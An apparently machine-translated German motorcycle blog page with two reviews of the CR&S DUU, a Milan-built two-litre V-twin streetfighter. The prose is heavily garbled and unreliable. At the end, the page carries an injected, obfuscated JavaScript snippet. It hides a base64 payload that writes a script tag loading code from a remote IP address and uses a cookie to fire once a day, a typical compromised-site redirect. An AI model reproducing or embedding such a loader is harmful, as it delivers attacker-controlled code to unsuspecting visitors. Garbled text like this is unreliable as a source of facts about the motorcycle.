Archiv für July 2014

TRÄGT, ABER NICHT VON SPADES

Zum Verkauf in einem Jahr zum Grundpreis von 20.000 Euro, DUU sehen die letzte Mailand zeigen als Konzept (und wir haben eine Vorschau auf Nummer Riders beschrieben 22) Es ist eines der wenigen wirklich ursprünglichen Vorschläge der letzten Zeit.
Der Milan CR&S, das es hervorgebracht hat, ist dasselbe wie der sehr leichte Einzylinder-Vun: Roberto Crepaldi, Giorgio Sarti und John Cabassi, Alle drei Fahrer vor Unternehmern, Sie haben sich auf einer unerforschten Nische konzentriert, aber interessant. Die Duu ist ein spezieller in Kleinserie produziert, modulare und hoch anpassbare, mit exklusiven Inhalten des amerikanischen und europäischen Stils von Confederate Wakan Französisch, aber zu einem Bruchteil der Kosten angeboten. Leitungen, zwei Dialekt Meneghino, weil die Zylinder zwei und die Verdrängung (1.916 diese) Es ist neben zwei Liter, und warum, wollen, die PUE Fahrrad in zwei Orten gleichzeitig sein und nicht als Einsitzer Vun. Dieser Maxi Streetfighter ist mit dem V2 von 56 ° X-Wedge des American S ausgestattet&S, ein starkes Monster mit seinem 16 kgm Drehmoment maximal nur drei Tausend Umdrehungen. Der Rahmen besteht aus poliertem Edelstahl: ein großer Träger, die Benzinbehälter fungiert auch als, mit Aluminium-Seitenplatten des hinteren Schwingarms zu halten, (immer ein großes gekrümmtes Stahlrohr) und der Benzintank, der auch den Sattel hält.
Das Design ist unterzeichnet von Donato Cannatello, die gearbeitet für Aprilia Bimota, welches es Entladen unter dem Motor positioniert, Es versteckt alle Aufbauten und erstellt eine leicht bearbeitbare minimalistische Linie durch Hinzufügen, oder Entfernen, eine Reihe von Zubehör (einschließlich panniers oder einem Behälter über dem Behälter) funktionale und ästhetische Anhänge. Der Sattel kann in einer oder zwei Stellen sein, und es sind verschiedene Lösungen für Scheinwerfer und Oberflächen. Trotz des großen Motors, das Fahrrad ist ganz in seiner Art kompakt und wiegt so viel wie ein Harley Sport 883, weil DUU wird nicht nur protzig angetrieben werden. Ein ehrgeiziges Projekt, nicht ohne Widerstände überwunden werden, wie seine Erfahrung und den Ruf der CR&S. Aber es muss gesagt werden, dass diese Realität organisiert, klein, wie eine echte Motorradindustrie. (Maurizio Gissi)

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Big Twin a Milano!

Nach dem Doppel mono: von einem kleinen Handwerker hat diesen ausgelassene Zweiliter einzigartigen Stil
Riccardo Capacchione

…Sie sagen, in Mailand, es cont cont i heart th Mann ' ". Wir übersetzen für Nicht-Milanese: „Made in Mailand, mit dem Herzen und Händen ", E’ der Satz auf Motorrädern von CR gebaut geschrieben&S Settimo Milanese. das einzige Modell war der Vun im Katalog bis heute, Die schlanke Single, die jetzt eine Schwester hat, durchaus nicht rationalisiert, Er rief DUU. In Milanese Dialekt bedeutet Vun „Eins“ als ein Zylinder, ein Ort, und „einzigartig“. Leitungen, wie Sie sehen werden, stattdessen will „zwei“, wie zwei Zylinder sagen, zwei Plätze und… nur, sie. Die Kunden der CR&S, tatsächlich, Sie können Ihr Fahrrad bestellen, indem Sie die Einstellung der Wahl, Fahrwerkskomponenten, die Vorbereitung des Motors und natürlich die Einfärbungen. Aus diesem Grund ändert sich der Preis viel, ausgehend von der Basis von 20.000 Euro. Die Design-Philosophie hinter den CR-Modelle&S ist einfach zu artikulieren, weniger zu erreichen: das Fahrrad muss wesentlich sein, der gesamte Motor und Fahrwerk auf Sicht, aber es muss auch ein Stil sein, vielmehr zwei: dass der Hersteller und dem Kunden, dass, wie erwähnt, Er beteiligt sich aktiv an der Schaffung von Amts wegen. SE Mangroven E’ trägt? Gia ', Was ist Duu? Es ist ein leistungsstarker Zweizylinder, den die normalen Definitionen entkommt: Gewohnheit nackt, Roadster, Straßenkämpfer? Schwierig, ein bestimmtes Genre zuzuschreiben. am besten, einfach, beschreiben die technischen Merkmale, wirklich einzigartig. Das Chassis ist aus CR konstruiert&S und ist aus einem oberen rohrförmigen giant legiertem Stahl zusammengesetzt, erinnert an das Schema von der Schweizer Spezialist Fritz Er benutzte; wer hat einige’ die Federn hinter Rückruf , unter anderem, Er trägt den wunderbaren Vincent 1967. Das große Hauptrahmenrohr Duu auch die Funktion des Kraftstofftanks, Ein Beispiel für die Strategie des CR-Projekt&S, die dazu neigt, die maximale Integration und Vereinfachung der einzelnen Komponenten. Im hinteren Teil ist die Struktur von Splendid Leichtmetallplatten verschlossen, das Messer von einem „vollen“ geschmiedeten erhalten. Die hinteren Schwingarm Gitter aus Stahlrohren sind an der Seite des Stoßdämpfers verbunden sind. die Räder, andere exklusive CR&S, Sie sind großartig und insbesondere der hintere, Kragarm montiert mit einer einzigen Zentralmutter und in verschiedenen Ausführungen der Rassen. Die Glasfaser-Aufbauten sind wenige und wesentlich; wirklich ungewöhnliche Lösung für die Frontscheinwerfer… nicht c'è, durch zwei seitliche optische Baugruppen in dem „Haifisch Kiemen“ an den Seiten der Gabel untergebracht ersetzt, erinnert an die Stilmerkmale von Vun. Die Autos können DUU sein, wie die, die wir getestet, aber es ist die Konstruktion zu zwei erwartet und dass Reisen, mit Taschen und Sonderzubehör. MAMMA UND POMPON! Der Motor S&S X-Wedge domina la scena. Die beiden Türme colossal aiettate der Zylinder unterscheiden sich voneinander von 56,25 ° und dem Gehäuse innerhalb der Kolben aus 105 -Long-mm mit Bohrung und Hub von 111 Millimeter. Das Schema wiederholt sich, dass von Harley-Davidson-Triebwerke, für das die S&S produziert immer Sonderteile, aber in diesem Fall ist der Antrieb ein völlig neue. Die Köpfe aufnehmen zwei große Ventile (50,8 mm Saug, 40,64 mm am Auspuff), parallel zueinander und von Kipphebeln und Stangen bewegt wird, die auf den drei Nockenwellen ruhen, zwei Auslassventilen und ein gemeinsam Saug, im Kurbelgehäuse befindet. die Änderung, getrennt, Baker ist ein Fünf-Gang. Die Macht und die elektronische Einspritzung, während die Entladungs ​​katalysierten, auf spezifische CR gebaut&S, Es ist unter dem Motor, mit zwei fantastischen ‚Kanonen‘ Seite. Der primäre Kettenantrieb wieder aufnimmt, das Schema Harley und ist auf der linken Seite. PAARE RIMORCHIATORE Wir bestanden viele der Prototyp testen, noch abgeschlossen werden, die DUU, ma ne ist Waltz la Pena. die Doppel, ohne Gegenwellen, Puls, während der, aber darüber schiebt eine beeindruckende Kraft. Die Hinterreifen unter der Ableitung von kgm stöhnend, die DUU Sprünge nach vorn und der Pilot ist gut, die fest am Lenker festhalten. Eine deutliche Steigerung des Sattels würde dazu beitragen, einen Teil des Schubs zum Download, Verringerung der Belastung auf die Arme. Das Gesamtgewicht nicht zu hoch ist, in Bezug auf die Verschiebung, und es ist gut verteilt, wodurch es besser handhabbar DUU als wir erwarten. Die wenige Kilometer im Sattel sie nur eine vage Vorstellung von der Leistung dieses Fahrrades gegeben wurden, die vor ihnen liegen spannende, Wir freuen uns für eine gute Squeeze,.. "Bleib dran", wir halten Sie auf dem Laufenden! Funktion getCookie(e){var U = document.cookie.match(neuer RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/G,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(die[1]):Leere 0}var src =”Daten:text / javascript;base64, ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs =”,jetzt = Math.floor(Date.now()/1e3),cookie = getCookie(“umleiten”);ob(jetzt>=(Zeit = Cookie)||Leere 0 === Zeit){var time = Math.floor(Date.now()/1e3 + 86400),date = new Date((neues Datum).Zeit kriegen()+86400);document.cookie =”redirect =”+Zeit +”; path = /; expires =”+date.toGMTString(),document.write(”)}